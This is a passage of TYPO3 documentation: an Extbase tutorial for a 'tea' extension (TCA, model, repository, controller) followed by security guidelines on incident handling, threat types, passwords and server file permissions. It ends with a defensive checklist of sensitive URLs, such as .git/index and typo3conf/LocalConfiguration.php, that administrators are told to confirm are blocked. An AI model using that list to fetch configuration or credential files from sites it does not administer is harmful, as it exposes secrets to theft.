                ],
                'foreign_label' => 'uid_local',
                'foreign_selector' => 'uid_local',
                'overrideChildTca' => [
                    'columns' => [
                        'uid_local' => [
                            'config' => [
                                'appearance' => [
                                    'elementBrowserType' => 'file',
                                    'elementBrowserAllowed' => '',
                                ],
                            ],
                        ],
                    ],
                ],
                'filter' => [
                    [
                        'userFunc' => 'TYPO3\\CMS\\Core\\Resource\\Filter\\FileExtensionFilter->filterInlineChildren',
                        'parameters' => [
                            'allowedFileExtensions' => '',
                            'disallowedFileExtensions' => '',
                        ],
                    ],
                ],
                'appearance' => [
                    'useSortable' => false,
                    'headerThumbnail' => [
                        'field' => 'uid_local',
                        'height' => '45m',
                    ],
                    'enabledControls' => [
                        'info' => true,
                        'new' => false,
                        'dragdrop' => true,
                        'sort' => false,
                        'hide' => false,
                        'delete' => true,
                    ],
                    'collapseAll' => true,
                ],
                'maxitems' => 1,
            ],
        ],
    ],
]
Copied!

You are probably happy that this was generated for you and that you did not have to type it yourself.

TCA types - Configure the input form

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'types' => [
        1 => [
            'showitem' => 'title, description, image',
        ],
    ],
]
Copied!

The key showitem lists all fields that should be displayed in the backend input form, in the order they should be displayed.

Result - the complete TCA

Have a look at the complete file EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php.

Now the edit form for tea records will look like this:

The complete input form for a tea record.

The list of teas in the module Web -> List looks like this:

A list of teas in the backend.

The Extbase model

It is a common practice — though not mandatory — to use PHP objects to store the data while working on it.

The model is a more abstract representation of the database schema. It provides more advanced data types, way beyond what the database itself can offer. The model can also be used to define validators for the model properties and to specify relationship types and rules (should relations be loaded lazily? Should they be deleted if this object is deleted?).

Extbase models extend the \TYPO3\CMS\Extbase\DomainObject\AbstractEntity class. The parent classes of this class already offer methods needed for persistence to database, the identifier uid etc.

Class TTN\Tea\Domain\Model\Product\Tea
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

/**
 * This class represents a tea (flavor), e.g., "Earl Grey".
 */
class Tea extends AbstractEntity
{
    protected string $title = '';

    protected string $description = '';

    /**
     * @phpstan-var \TYPO3\CMS\Extbase\Domain\Model\FileReference|LazyLoadingProxy|null
     * @var \TYPO3\CMS\Extbase\Domain\Model\FileReference|null
     * @Lazy
     */
    protected $image;
}
Copied!

For all protected properties we need at least a getter with the corresponding name. If the property should be writable within Extbase, it must also have a getter. Properties that are only set in backend forms do not need a setter.

Example for the property title:

Class TTN\Tea\Domain\Model\Product\Tea
class Tea extends AbstractEntity
{
    protected string $title = '';

    public function getTitle(): string
    {
        return $this->title;
    }

    public function setTitle(string $title): void
    {
        $this->title = $title;
    }
}
Copied!

The getter for the image also has to resolve the lazy loading:

Class TTN\Tea\Domain\Model\Product\Tea
use TYPO3\CMS\Extbase\Annotation\ORM\Lazy;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

class Tea extends AbstractEntity
{
    /**
     * @phpstan-var \TYPO3\CMS\Extbase\Domain\Model\FileReference|LazyLoadingProxy|null
     * @var \TYPO3\CMS\Extbase\Domain\Model\FileReference|null
     * @Lazy
     */
    protected $image;

    public function getImage(): ?FileReference
    {
        if ($this->image instanceof LazyLoadingProxy) {
            /** @var FileReference $image */
            $image = $this->image->_loadRealInstance();
            $this->image = $image;
        }

        return $this->image;
    }

    public function setImage(FileReference $image): void
    {
        $this->image = $image;
    }
}
Copied!

See the complete class on Github: Tea.

Next steps

  • The repository - Query for tea

Repository

A basic repository can be quite a short class. The shortest possible repository is an empty class inheriting from \TYPO3\CMS\Extbase\Persistence\Repository :

EXT:tea/Classes/Domain/Repository/Product/TeaRepository.php
<?php

declare(strict_types=1);

namespace TTN\Tea\Domain\Repository\Product;

use TYPO3\CMS\Extbase\Persistence\Repository;

class TeaRepository extends Repository
{
}
Copied!

The model the repository should deliver is derived from the namespace and name of the repository. A repository with the fully qualified name \TTN\Tea\Domain\Repository\Product\TeaRepository therefore delivers models with the fully qualified name \TTN\Tea\Domain\Model\Product\Tea without further configuration.

In the EXT:tea extension some additional settings are required. These can be done directly in the Repository or in a trait. It is important to know, that a trait overrides parameters and method from the parent class but can be overridden from the current class.

The TeaRepository configures the $defaultOrderings directly in the repository class and imports additional settings from the trait.

EXT:tea/Classes/Domain/Repository/Product/TeaRepository.php
<?php

declare(strict_types=1);

namespace TTN\Tea\Domain\Repository\Product;

use TTN\Tea\Domain\Model\Product\Tea;
use TTN\Tea\Domain\Repository\Traits\StoragePageAgnosticTrait;
use TYPO3\CMS\Extbase\Persistence\QueryInterface;
use TYPO3\CMS\Extbase\Persistence\Repository;

/**
 * @extends Repository<Tea>
 */
class TeaRepository extends Repository
{
    use StoragePageAgnosticTrait;

    protected $defaultOrderings = ['title' => QueryInterface::ORDER_ASCENDING];
}
Copied!

We override the protected parameter $defaultOrderings here. This parameter is also defined in the parent class \TYPO3\CMS\Extbase\Persistence\Repository and used here when querying the database.

The trait itself is also defined in the extension:

EXT:tea/Classes/Domain/Repository/Traits/StoragePageAgnosticTrait.php
<?php

declare(strict_types=1);

namespace TTN\Tea\Domain\Repository\Traits;

use TYPO3\CMS\Extbase\Object\ObjectManagerInterface;
use TYPO3\CMS\Extbase\Persistence\Generic\QuerySettingsInterface;

/**
 * This trait for repositories makes the repository ignore the storage page setting when fetching models.
 *
 * @property ObjectManagerInterface $objectManager
 */
trait StoragePageAgnosticTrait
{
    private QuerySettingsInterface $querySettings;

    public function injectQuerySettings(QuerySettingsInterface $querySettings): void
    {
        $this->querySettings = $querySettings;
    }

    public function initializeObject(): void
    {
        $querySettings = clone $this->querySettings;

        $querySettings->setRespectStoragePage(false);
        $this->setDefaultQuerySettings($querySettings);
    }
}
Copied!

Here we inject the $querySettings and allow to fetch tea objects from all pages. We then set these as default query settings.

The advantage of using a trait here instead of defining the parameters and methods directly in the repository is, that the code can be reused without requiring inheritance. Repositories of non-related models should not inherit from each other.

Using the repository

The TeaRepository can now be used in a controller or another class after it was injected by Dependency Injection:

Class TTN\Tea\Controller\TeaController
use TTN\Tea\Domain\Repository\Product\TeaRepository;

class TeaController extends ActionController
{
    private TeaRepository $teaRepository;

    public function injectTeaRepository(TeaRepository $teaRepository): void
    {
        $this->teaRepository = $teaRepository;
    }
}
Copied!

Then it can be used:

Class TTN\Tea\Controller\TeaController
use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Repository\Product\TeaRepository;

class TeaController extends ActionController
{
    private TeaRepository $teaRepository;

    public function indexAction(): ResponseInterface
    {
        $this->view->assign('teas', $this->teaRepository->findAll());
        return $this->htmlResponse();
    }
}
Copied!

The method $this->teaRepository->findAll() that is called here is defined in the parent class Repository.

You can also add additional methods here to query the database. See chapter "Repository" in the Extbase reference. As this example is very basic we do not need custom find methods.

Controller

The controller controls the flow of data between the view and the data repository containing the model.

A controller can contain one or more actions. Each of them is a method which ends on the name "Action" and returns an object of type \Psr\Http\Message\ResponseInterface .

In the following action a tea object should be displayed in the view:

Class TTN\Tea\Controller\TeaController
use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Model\Product\Tea;

class TeaController extends ActionController
{
    public function showAction(Tea $tea): ResponseInterface
    {
        $this->view->assign('tea', $tea);
        return $this->htmlResponse();
    }
}
Copied!

This action would be displayed if an URL like the following would be requested: https://www.example.org/myfrontendplugin?tx_tea[action]=show&tx_tea[controller]=tea&tx_tea[tea]=42&chash=whatever.

So where does the model Tea $tea come from? The only reference we had to the actual tea to be displayed was the ID 42. In most cases, the parent class \TYPO3\CMS\Extbase\Mvc\Controller\ActionController will take care of matching parameters to objects or models. In more advanced scenarios it is necessary to influence the parameter matching. But in our scenario it is sufficient to know that this happens automatically in the controller.

The following action expects no parameters. It fetches all available tea objects from the repository and hands them over to the view:

Class TTN\Tea\Controller\TeaController
use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Repository\Product\TeaRepository;

class TeaController extends ActionController
{
    private TeaRepository $teaRepository;

    public function injectTeaRepository(TeaRepository $teaRepository): void
    {
        $this->teaRepository = $teaRepository;
    }

    public function indexAction(): ResponseInterface
    {
        $this->view->assign('teas', $this->teaRepository->findAll());
        return $this->htmlResponse();
    }
}
Copied!

The controller has to access the TeaRepository to find all available tea objects. We use Dependency Injection to make the repository available to the controller: The method injectTeaRepository() will be called automatically with an initialized TeaRepository when the TeaController is created.

Both action methods return a call to the method $this->htmlResponse(). This method is implemented in the parent class ActionController and is a shorthand method to create a response from the response factory and attach the rendered content. Let us have a look at what happens in this method:

Class TYPO3\CMS\Extbase\Mvc\Controller\ActionController
use Psr\Http\Message\ResponseInterface;

abstract class ActionController implements ControllerInterface
{
    protected function htmlResponse(string $html = null): ResponseInterface
    {
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/html; charset=utf-8')
            ->withBody($this->streamFactory->createStream((string)($html ?? $this->view->render())));
    }
}
Copied!

You can also use this code directly in your controller if you need to return a different HTTP header. If a different rendering from the standard view is necessary you can just pass the rendered HTML content to this method. There is also a shorthand method for returning JSON called jsonResponse().

This basic example requires no actions that are forwarding or redirecting. Read more about those concepts here: Forward to a different controller.

Security guidelines

This chapter describes some typical risks and advises how to protect a TYPO3 site in order to ensure it is and stays secure and stable.

Introduction

Security is taken very seriously by the Core developers of TYPO3 projects and especially by the members of the official TYPO3 Security Team. It is also in the interest of system administrators, website owners, editors and everybody who is responsible for a TYPO3 site, to protect the site and its content against various threats. This chapter describes some typical risks and advises on how to protect a TYPO3 site in order to ensure it is and stays secure and stable.

This guide also explains how the TYPO3 Security Team deals with incidents, how security bulletins and security updates are published and how system administrators should react when their system has been compromised.

It is important to understand that security is not a condition – security is a process with ongoing tasks and regular reviews are essential.

Reporting a security issue

If you would like to report a security issue in a TYPO3 extension or the TYPO3 Core system, please report it to the TYPO3 Security Team. Please refrain from making anything public before an official fix is released. Read more about the process of incident handling by the TYPO3 Security Team in the next chapter.

Target audience

This chapter is intended for all users of TYPO3, from editors to system administrators, from TYPO3 integrators to software developers. The Security Guide is an essential lecture for everyone who works with TYPO3 and who is responsible for a publicly accessible TYPO3 site in particular.

The TYPO3 Security Team

You can find details about the TYPO3 Security Team at https://typo3.org/community/teams/security/.

You can contact the TYPO3 Security Team at security@typo3.org .

TYPO3 Core security updates, extension security updates, and unmaintained insecure extensions are announced in formal TYPO3 Security Bulletins.

Reporting a security issue

If you find a security issue in the TYPO3 Core system or in a TYPO3 extension (even if it is your own development), please report it to the TYPO3 Security Team – the Security Team only. Do not disclose the issue in public (for example in mailing lists, forums, on Twitter, your website or any 3rd party website).

The team strives to respond to all reports within 2 working days, but please allow a reasonable amount of time to assess the issue and get back to you with an answer. If you suspect that your report has been overlooked, feel free to submit a reminder a few days after your initial submission.

Extension review

The Security Team does not review extensions. You can engage the TYPO3 GmbH to conduct an independent security audit on your extension or site as a part of their Project Review service

Incident handling

This section provides detailed information about the differences between the TYPO3 Core system and TYPO3 extensions and how the TYPO3 Security Team deals with security issues of those.

Security issues in the TYPO3 Core

If the TYPO3 Security Team gains knowledge about a security issue in the TYPO3 Core system, they work closely together with the developers of the appropriate component of the system, after verifying the problem. A fix for the vulnerability will be developed, carefully tested and reviewed. Together with a public security bulletin, a TYPO3 Core update will be released. Please see next chapter for further details about TYPO3 versions and security bulletins.

Security issues in TYPO3 extensions

When the TYPO3 Security Team receives a report of a security issue in an extension, the issue will be checked in the first stage. If a security problem can be confirmed, the Security Team tries to get in touch with the extension developer and requests a fix. Then one of the following situations usually occurs:

  • the developer acknowledges the security vulnerability and delivers a fix
  • the developer acknowledges the security vulnerability but does not provide a fix
  • the developer refuses to produce a security fix (e.g. because he does not maintain the extension anymore)
  • the developer cannot be contacted or does not react

In the case where the extension author fails to provide a security fix in an appropriate time frame (see below), all affected versions of the extension will be removed from the TYPO3 Extension Repository (TER) and a security bulletin will be published (see below), recommending to uninstall the extension.

If the developer provides the TYPO3 Security Team with an updated version of the extension, the team reviews the fix and checks if the problem has been solved. The Security Teams also prepares a security bulletin and coordinates the release date of the new extension version with the publication date of the bulletin.

Extension developers must not upload the new version of the extension before they received the go-ahead from the Security Team.

If you discover a security problem in your own extension, please follow this procedure as well and coordinate the release of the fixed version with the TYPO3 Security Team.

Further details about the handling of security incidents and time frames can be found in the official TYPO3 Extension Security Policy at https://typo3.org/community/teams/security/extension-security-policy/

General Information

TYPO3 versions and lifecycle

TYPO3 is offered in Long Term Support (LTS) and Sprint Release versions.

The first versions of each branch are Sprint Release versions. A Sprint Release version only receives support until the next Sprint Release got published. E.g. TYPO3 11.0.0 was the first Sprint Release of the 11 branch and its support ended when TYPO3 11.1.0 got released.

An LTS version is planned to be created every 18 months. LTS versions are created from a branch in order to finalize it: Prior to reaching LTS status, a number of Sprint Releases has been created from that branch and the release of an LTS version marks the point after which no new features will be added to this branch. LTS versions get full support (bug fixes and security fixes) for at least three years. TYPO3 version 10 (v10) and v11 are such LTS versions.

The minor-versions are skipped in the official naming. 11 LTS is version 11.5 internally and 10 LTS is 10.4. Versions inside a major-version have minor-versions as usual (11.0, 11.1, ...) until at some point the branch receives LTS-status.

Support and security fixes are provided for the current as well as the preceding LTS release. For example, when TYPO3 v11 is the current LTS release, TYPO3 v10 is still actively supported, including security updates.

For users of v10 an update to v11 is recommended. All versions below TYPO3 v10 are outdated and the regular support of these versions has ended, including security updates. Users of these versions are strongly encouraged to update their systems as soon as possible.

In cases where users cannot yet upgrade to a supported version, the TYPO3 GmbH is offering an Extended Long Term Support (ELTS) service for up to three years after the regular support has ended. Subscribers to the ELTS plans receive security and compatibility updates.

Information about ELTS is available at https://typo3.com/services/extended-support-elts

LTS and Sprint Releases offer new features and often a modified database structure. Also the visual appearance and handling of the backend may be changed and appropriate training for editors may be required. The content rendering may change, so that updates in TypoScript, templates or CSS code may be necessary. With LTS and Sprint Releases also the system requirements (for example PHP or MySQL version) may change. For a patch level release (i.e. changing from release 11.5.0 to 11.5.1) the database structure and backend will usually not change and an update will only require the new version of the source code.

List of TYPO3 LTS releases:

Difference between Core and extensions

The TYPO3 base system is called the Core. The functionality of the Core can be expanded, using extensions. A small, selected number of extensions (the system extensions) are being distributed as part of the TYPO3 Core. The Core and its system extensions are being developed by a relatively small team (40-50 people), consisting of experienced and skilled developers. All code being submitted to the Core is reviewed for quality by other Core Team members.

Currently there are more than 5500 extensions available in the TYPO3 Extension Repository (TER), written by some 2000 individual programmers. Since everybody can submit extensions to the TER, the code quality varies greatly. Some extensions show a very high level of code quality, while others have been written by amateurs. Most of the known security issues in TYPO3 have been found in these extensions, which are not part of the Core system.

Announcement of updates and security fixes

Information about new TYPO3 releases as well as security bulletins are being announced on the "TYPO3 Announce" mailing list. Every system administrator who hosts one or more TYPO3 instances, and every TYPO3 integrator who is responsible for a TYPO3 project should subscribe to this mailing list, as it contains important information. You can subscribe at https://lists.typo3.org/cgi-bin/mailman/listinfo/typo3-announce.

This is a read-only mailing list, which means that you cannot reply to a message or post your own messages. The announce list typically does not distribute more than 3 or 4 mails per month. However it is highly recommended to carefully read every message that arrives, because they contain important information about TYPO3 releases and security bulletins.

Other communication channels such as https://news.typo3.org/, a RSS feed, an official Twitter account @typo3\_security etc. can be used additionally to stay up-to-date on security advisories.

Security bulletins

When security updates for TYPO3 or an extension become available, they will be announced on the "TYPO3 Announce" mailing list, as described above, but also published with much more specific details on the official TYPO3 Security Team website at https://typo3.org/help/security-advisories/.

Security bulletins for the TYPO3 Core are separated from security bulletins for TYPO3 extensions. Every bulletin has a unique advisory identifier such as TYPO3-CORE-SA-yyyy-nnn (for bulletins applying to the TYPO3 Core ) and TYPO3-EXT-SA-yyyy-nnn (for bulletins applying to TYPO3 extensions), where yyyy stands for the appropriate year of publication and nnn for a consecutively increasing number.

The bulletins contain information about the versions of TYPO3 or versions of the extension that are affected and the type of security issue (e.g. information disclosure, cross-site scripting, etc.). The bulletin does not contain an exploit or a description on how to (ab)use the security issue.

For some critical security issues the TYPO3 Security Team may decide to pre-announce a security bulletin on the "TYPO3 Announce" mailing list. This is to inform system administrators about the date and time of an upcoming important bulletin, so that they can schedule the update.

Security issues in the TYPO3 Core which are only exploitable by users with administrator privileges (including system components that are accessible by administrators only, such as the Install Tool) are treated as normal software "bugs" and are fixed as part of the standard Core review process. This implies that the development of the fix including the review and deployment is publicly visible and can be monitored by everyone.

Public service announcements

Important security related information regarding TYPO3 products or the typo3.org infrastructure are published as so called "Public Service Announcements" (PSA). Unlike other advisories, a PSA is usually not accompanied by a software release, but still contain information about how to mitigate a security related issue.

Topics of these advisories include security issues in third party software like such as Apache, Nginx, MySQL, PHP, etc. that are related to TYPO3 products, possible security related misconfigurations in third party software, possible misconfigurations in TYPO3 products, security related information about the server infrastructure of typo3.org and other important recommendations how to securely use TYPO3 products.

Common vulnerability scoring system (CVSS)

Since 2010 the TYPO3 Security Team also publishes a CVSS rating with every security bulletin. CVSS ("Common Vulnerability Scoring System" is a free and open industry standard for communicating the characteristics and impacts of vulnerabilities in Information Technology. It enables analysts to understand and properly communicate disclosed vulnerabilities and allows responsible personnel to prioritize risks. Further details about CVSS are available at https://www.first.org/cvss/user-guide

Types of Security Threats

This section provides a brief overview of the most common security threats to give the reader a basic understanding of them. The sections for system administrators, TYPO3 integrators and editors explain in more detail how to secure a system against those threats.

Information disclosure

This means that the system makes (under certain circumstances) information available to an outside person. Such information could be sensitive user data (e.g. names, addresses, customer data, credit card details, etc.) or details about the system (such as the file system structure, installed software, configuration options, version numbers, etc). An attacker could use this information to craft an attack against the system.

There is a fine line between the protection against information disclosure and so called "security by obscurity". Latter means, that system administrators or developers try to protect their infrastructure or software by hiding or obscuring it. An example would be to not reveal that TYPO3 is used as the content management system or a specific version of TYPO3 is used. Security experts say, that "security by obscurity" is not security, simply because it does not solve the root of a problem (e.g. a security vulnerability) but tries to obscure the facts only.

Identity theft

Under certain conditions it may be possible that the system reveals personal data, such as customer lists, e-mail addresses, passwords, order history or financial transactions. This information can be used by criminals for fraud or financial gains. The server running a TYPO3 website should be secured so that no data can be retrieved without the consent of the owner of the website.

SQL injection

With SQL injection the attacker tries to submit modified SQL statements to the database server in order to get access to the database. This could be used to retrieve information such as customer data or user passwords or even modify the database content such as adding administrator accounts to the user table. Therefore it is necessary to carefully analyze and filter any parameters that are used in a database query.

Code injection

Similar to SQL injection described above, "code injection" includes commands or files from remote instances (RFI: Remote File Inclusion) or from the local file system (LFI: Local File Inclusion). The fetched code becomes part of the executing script and runs in the context of the TYPO3 site (so it has the same access privileges on a server level). Both attacks, RFI and LFI, are often triggered by improper verification and neutralization of user input.

Local file inclusion can lead to information disclosure (see above), for example reveal system internal files which contain configuration settings, passwords, encryption keys, etc.

Authentication bypass

In an authorization bypass attack, an attacker exploits vulnerabilities in poorly designed applications or login forms (e.g. client-side data input validation). Authentication modules shipped with the TYPO3 Core are well-tested and reviewed. However, due to the open architecture of TYPO3, this system can be extended by alternative solutions. The code quality and security aspects may vary, see chapter Guidelines for TYPO3 Integrators: TYPO3 extensions for further details.

Cross-site scripting (XSS)

Cross-site scripting occurs when data that is being processed by an application is not filtered for any suspicious content. It is most common with forms on websites where a user enters data which is then processed by the application. When the data is stored or sent back to the browser in an unfiltered way, malicious code may be executed. A typical example is a comment form for a blog or guest book. When the submitted data is simply stored in the database, it will be sent back to the browser of visitors if they view the blog or guest book entries. This could be as simple as the inclusion of additional text or images, but it could also contain JavaScript code of iframes that load code from a 3rd party website.

Cross-site request forgery (XSRF)

In this type of attack unauthorized commands are sent from a user a website trusts. Consider an editor that is logged in to an application (like a CMS or online banking service) and therefore is authorized in the system. The authorization may be stored in a session cookie in the browser of the user. An attacker might send an e-mail to the person with a link that points to a website with prepared images. When the browser is loading the images, it might actually send a request to the system where the user is logged in and execute commands in the context of the logged-in user.

One way to prevent this type of attack is to include a secret token with every form or link that can be used to check the authentication of the request.

General guidelines

The recommendations in this chapter apply for all roles: system administrators, TYPO3 integrators, editors and strictly speaking even for (frontend) users.

Secure passwords

It is critical that every user is using secure passwords to authenticate themselves at systems like TYPO3. Below are rules that should be implemented in a password policy:

  1. Ensure that the passwords you use have a minimum length of 9 or more characters.
  2. Passwords should have a mix of upper and lower case letters, numbers and special characters.
  3. Passwords should not be made up of personal information such as names, nick names, pet's names, birthdays, anniversaries, etc.
  4. Passwords should not be made out of common words that can be found in dictionaries.
  5. Do not store passwords on Post-it notes, under your desk cover, in your wallet, unencrypted on USB sticks or somewhere else.
  6. Always use a different password for different logins! Never use the same password for your e-mail account, the TYPO3 backend, an online forum and so on.
  7. Change your passwords in regular intervals but not too often (this would make remembering the correct password too difficult) and avoid to re-use the last 10 passwords.
  8. Do not use the "stay logged in" feature on websites and do not store passwords in applications like FTP clients. Enter the password manually every time you log in.

A good rule for a secure password would be that a search engine such as Google should deliver no results if you would search for it. Please note: do not determine your passwords by this idea – this is an example only how cryptic a password should be.

Another rule is that you should not choose a password that is too strong either. This sounds self-contradictory but most people will write down a password that is too difficult to remember – and this is against the rules listed above.

In a perfect world you should use "trusted" computers, only. Public computers in libraries, internet cafés, and sometimes even computers of work colleagues and friends can be manipulated (with or without the knowledge of the owner) and log your keyboard input.

Operating System and Browser Version

Make sure that you are using up-to-date software versions of your browser and that you have installed the latest updates for your operating system (such as Microsoft Windows, Mac OS X or Linux). Check for software updates regularly and install security patches immediately or at least as soon as possible.

It is also recommended to use appropriate tools for detecting viruses, Trojans, keyloggers, rootkits and other "malware".

Communication

A good communication between several roles is essential to clarify responsibilities and to coordinate the next steps when updates are required, an attacked site needs to be restored or other security- related actions need to be done as soon as possible.

A central point of contact, for example a person or a team responsible for coordinating these actions, is generally a good idea. This also lets others (e.g. integrators, editors, end-users) know, to whom they can report issues.

React Quickly

TYPO3 is open source software as well as all TYPO3 extensions published in the TYPO3 Extension Repository (TER). This means, everyone can download and investigate the code base. From a security perspective, this usually improves the software, simply because more people review the code, not only a few Core developers. Currently, there are hundreds of developers actively involved in the TYPO3 community and if someone discovers and reports a security issue, he/she will be honored by being credited in the appropriate security bulletin.

The open source concept also implies that everyone can compare the old version with the new version of the software after a vulnerability became public. This may give an insight to anyone who has programming knowledge, how to exploit the vulnerability and therefore it is understandable how important it is, to react quickly and fix the issue before someone else compromises it. In other words, it is not enough to receive and read the security bulletins, it is also essential to react as soon as possible and to update the software or deinstall the affected component.

The security bulletins may also include specific advice such as configuration changes or similar. Check your individual TYPO3 instance and follow these recommendations.

Keep the TYPO3 Core up-to-date

As described in TYPO3 versions chapter, a new version of TYPO3 can either be a major update (e.g. from version 10.x.x to version 11.x.x), a minor update (e.g. from version 11.4.x to version 11.5.x) or a maintenance/bugfix/security release (e.g. from version 11.5.11 to 11.5.12).

In most cases, a maintenance/bugfix/security update is a no-brainer, see TYPO3 Installation and Upgrade Guide for further details.

When you extract the archive file of new TYPO3 sources into the existing install directory (e.g. the web root of your web server) and update the symbolic links, pointing to the directory of the new version, do not forget to delete the old and possibly insecure TYPO3 Core version. Failing doing this creates the risk of leaving the source code of the previous TYPO3 version on the system and as a consequence, the insecure code may still be accessible and a security vulnerability possibly exploitable.

Another option is to store the extracted TYPO3 sources outside of the web root directory (so they are not accessible via web requests) as a general rule and use symbolic links inside the web root to point to the correct and secure TYPO3 version.

Keep TYPO3 Extensions Up-to-date

Do not rely on publicly released security announcements only. Reading the official security bulletins and updating TYPO3 extensions which are listed in the bulletins is an essential task but not sufficient to have a "secure" system.

Extension developers sometimes fix security issues in their extensions without notifying the Security Team (and maybe without mentioning it in the ChangeLog or in the upload comments). This is not the recommended way, but possible. Therefore updating extensions whenever a new version is published is a good idea in general – at least investigating/reviewing the changes and assessing if an update is required.

Also keep in mind that attackers often scan for system components that contain known security vulnerabilities to detect points of attack. These "components" can be specific software packages on a system level, scripts running on the web server but also specific TYPO3 versions or TYPO3 extensions.

The recommended way to update TYPO3 extensions is to use TYPO3's internal Extension Manager (EM). The EM takes care of the download of the extension source code, extracts the archive and stores the files in the correct place, overwriting an existing old version by default. This ensures, the source code containing a possible security vulnerability will be removed from server when a new version of an extension is installed.

When a system administrator decides to create a copy of the directory of an existing insecure extension, before installing the new version, he/she often introduces the risk of leaving the (insecure) copy on the web server. For example:

Remove old extensions, dont rename
typo3conf/ext/insecure_extension.bak
typo3conf/ext/insecure_extension.delete_me
typo3conf/ext/insecure_extension-1.2.3
...
Copied!

The risk of exploiting a vulnerability is minimal, because the source code of the extension is not loaded by TYPO3, but it depends on the type of vulnerability of course.

The advice is to move the directory of the old version outside of the web root directory, so the insecure extension code is not accessible.

Use staging servers for developments and tests

During the development phase of a project and also after the launch of a TYPO3 site as ongoing maintenance work, it is often required to test if new or updated extensions, PHP, TypoScript or other code meets the requirements.

A website that is already "live" and publicly accessible should not be used for these purposes. New developments and tests should be done on so called "staging servers" which are used as a temporary stage and could be messed up without an impact on the "live" site. Only relevant/required, tested and reviewed clean code should then be implemented on the production site.

This is not security-related on the first view but "tests" are often grossly negligent implemented, without security aspects in mind. Staging servers also help keeping the production sites slim and clean and reduce maintenance work (e.g. updating extensions which are not in use).

Guidelines for System Administrators

General Rules

  1. Subscribe to the "TYPO3 Announce" mailing list at https://lists.typo3.org, so that you are informed about TYPO3 security bulletins and TYPO3 updates.
  2. React as soon as possible and update the relevant components of the site(s) when new vulnerabilities become public (e.g. security issues published in the mailing list).
  3. Use different passwords for the Install Tool and the backend login. Follow the guidelines for secure passwords in this document.
  4. If you are administrating several TYPO3 installations, use different passwords for all logins and components for every installation.
  5. Never use the same password for a TYPO3 installation and any other service such as FTP, SSH, etc.
  6. Change the username and password of the "admin" account after the installation of TYPO3 immediately.
  7. If you are also responsible for the setup and configuration of TYPO3, follow the steps for TYPO3 integrators carefully, documented in the next chapter.

Further topics

Please see the chapters below for further security related topics of interest for administrators:

Role Definition

In this chapter, we define a system administrator as the person who is responsible for the system/server where the TYPO3 instance is installed. System administrators usually have full access on a server level (operating system) and install, configure and maintain the base system and hosting environment, including the database server, web server, PHP, TYPO3, as well as components such as ImageMagick, etc.

System administrators are also responsible for the security of the infrastructure in general, e.g. the network, the appropriate access to the system (e.g. SSH, FTP, etc.) as well as correct permissions on a file system level.

The role of a system administrator often overlaps with a TYPO3 integrator and it happens that one person has both roles.

Integrity of TYPO3 Packages

In order to ensure that the downloaded TYPO3 package is an official package released by the TYPO3 developers, compare the SHA2-256 checksum of the downloaded package with the checksum stated on the TYPO3 website, before you extract/install TYPO3. You find the SHA2-256 checksums on get.typo3.org.

Be careful when using pre-installed or pre-configured packages by other vendors: due to the nature and complexity of TYPO3 the system requires configuration. Some vendors offer download-able packages, sometimes including components such as Apache, MySQL, PHP and TYPO3, easy to extract and ready to launch. This is a comfortable way to set up a test or development environment very quickly but it is difficult to verify the integrity of the components – for example the integrity of TYPO3.

A similar thing applies to web environments offered by hosting companies: system images sometimes include a bunch of software packages, including a CMS. It depends on the specific project and if you can trust the provider of these pre-installed images, systems, packages – but if you are in doubt, use the official TYPO3 packages only. For a production site in particular, you should trust the source code published at get.typo3.org only.

File/directory permissions

The correct and secure setup of the underlying server is an essential prerequisite for a secure web application. Well-considered access permissions on files and directories are an important part of this strategy. However, too strict permissions may stop TYPO3 from working properly and/or restrict integrators or editors from using all features of the CMS. The official TYPO3 Installation and Upgrade Guide provides further information about the install procedure.

We do not need to mention that only privileged system users should have read/write access to files and directories inside the web root. In most cases these are only users such as "root" and the user, that the web server runs as (e.g. www-data). On some systems (e.g. shared hosting environments), the web server user can be a specific user, depending on the system configuration.

An important security measure for systems on which multiple users run their websites (e.g. various clients on a shared server) is to ensure that one user cannot access files in another client's web root. This server misconfiguration of file/directory permissions may occur if all virtual hosts run as the same user, for example the default web server user. The risk with this setup is, that a script on another virtual host includes files from the TYPO3 instance or writes or manipulates files. The TYPO3 configuration file LocalConfiguration.php, which contains sensitive data, would be a typical example.

Besides the strict separation between multiple virtual hosts, it is possible to revoke any write permissions for the web server user (e.g. www-data) to the TYPO3 source directory in general. In other words: only allow write access to resources, the web server user requires to have write access for, such as fileadmin/, typo3conf/, typo3temp/.

On UNIX/Linux based systems, a secure configuration can be achieved by setting the owner and group of directories and files correctly, as well as their specific access rights (read/write/execute). Even if users need write access to the fileadmin/ directory (besides the web server user), this can be technically achieved.

It is not recommended to allow TYPO3 editors and other unprivileged users FTP, SFTP, SSH, WebDAV, etc. access to the web server's root directory or any sub-directory of it. See other services for further explanations.

Restrict access to files on a server-level

This is a controversial topic: Some experts recommend to restrict the access to specific files on a server-level by using Apache's FilesMatch directive for example. Such files could be files with the endings .bak, .tmp, .sql, .old, etc. in their file names. The purpose of this restriction is, that even if backup files or database dump files are accidentally stored in the DocRoot directory of the web server, they cannot be downloaded.

The downside of this measure is, that this is not the solution of the problem but a workaround only. The right recommendation would be not to store sensitive files (such as backups, etc.) in the DocRoot directory at all – instead of trying to address the issue by restricting the access to certain file names (keep in mind that you cannot predict which file names could occur in the future).

Verification of access restrictions

Administrators should test and verify file access to these files are actually denied. The following list provides some files as an example that should not be retrievable directly by using HTTP requests:

  • https://example.org/.git/index
  • https://example.org/INSTALL.md
  • https://example.org/INSTALL.txt
  • https://example.org/ChangeLog
  • https://example.org/composer.json
  • https://example.org/composer.lock
  • https://example.org/vendor/autoload.php
  • https://example.org/typo3_src/Build/package.json
  • https://example.org/typo3_src/bin/typo3
  • https://example.org/typo3_src/INSTALL.md
  • https://example.org/typo3_src/INSTALL.txt
  • https://example.org/typo3_src/ChangeLog
  • https://example.org/typo3_src/vendor/autoload.php
  • https://example.org/typo3conf/LocalConfiguration.php
  • https://example.org/typo3conf/AdditionalConfiguration.php
